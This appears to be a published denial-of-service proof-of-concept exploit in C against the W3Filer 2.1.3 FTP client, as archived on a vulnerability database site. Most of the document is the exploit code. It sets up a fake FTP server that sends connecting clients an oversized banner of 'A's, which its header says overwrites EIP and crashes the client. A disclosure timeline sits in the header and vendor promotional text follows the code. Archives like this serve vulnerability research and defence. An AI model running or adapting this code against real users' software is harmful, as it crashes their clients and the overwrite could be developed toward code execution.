/*
W3Filer Buffer Overflow Vulnerability
DoS POC
r0ut3r (writ3r [at] gmail.com)
Version: 2.1.3
Description: If the client recieves a large banner when
attempting to send a file the application will freeze,
resulting in the user having to kill the application.
Alternatively the application will immediately crash with
an exception report. Either one of the above happens. The
EIP is overwritten with A's. Version 3.1.3 is not vulnerable.
Timeline:
06/27/2007 - Vulnerability discovered
06/28/2007 - Contacted vendor
06/29/2007 - Public release
This is dedicated to Jeremy Hammond
http://en.wikipedia.org/wiki/Jeremy_Hammond
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 21
int s, c;
struct sockaddr_in sock_addr;
int main()
{
char evilbuf[1500];
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
sock_addr.sin_family = PF_INET;
sock_addr.sin_addr.s_addr = htonl(INADDR_ANY);
sock_addr.sin_port = htons(PORT);
bind(s, (struct sockaddr *)&sock_addr, sizeof(sock_addr));
printf("[+] Listening...\n");
listen(s, 5);
printf("[*] Waiting for client\n");
c = accept(s, NULL, NULL);
printf("[!] Client connected\n");
memset(evilbuf,'A',1500);
memcpy(evilbuf,"220 ",4);
memcpy(evilbuf+1497,"\r\n\0",3);
printf("[+] Attempting buffer overflow\n");
if (send(c, evilbuf, strlen(evilbuf), 0) == -1)
{
printf("[-] Error sending..\n");
return 1;
}
printf("[+] Sent! did it crash?\n");
return 0;
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation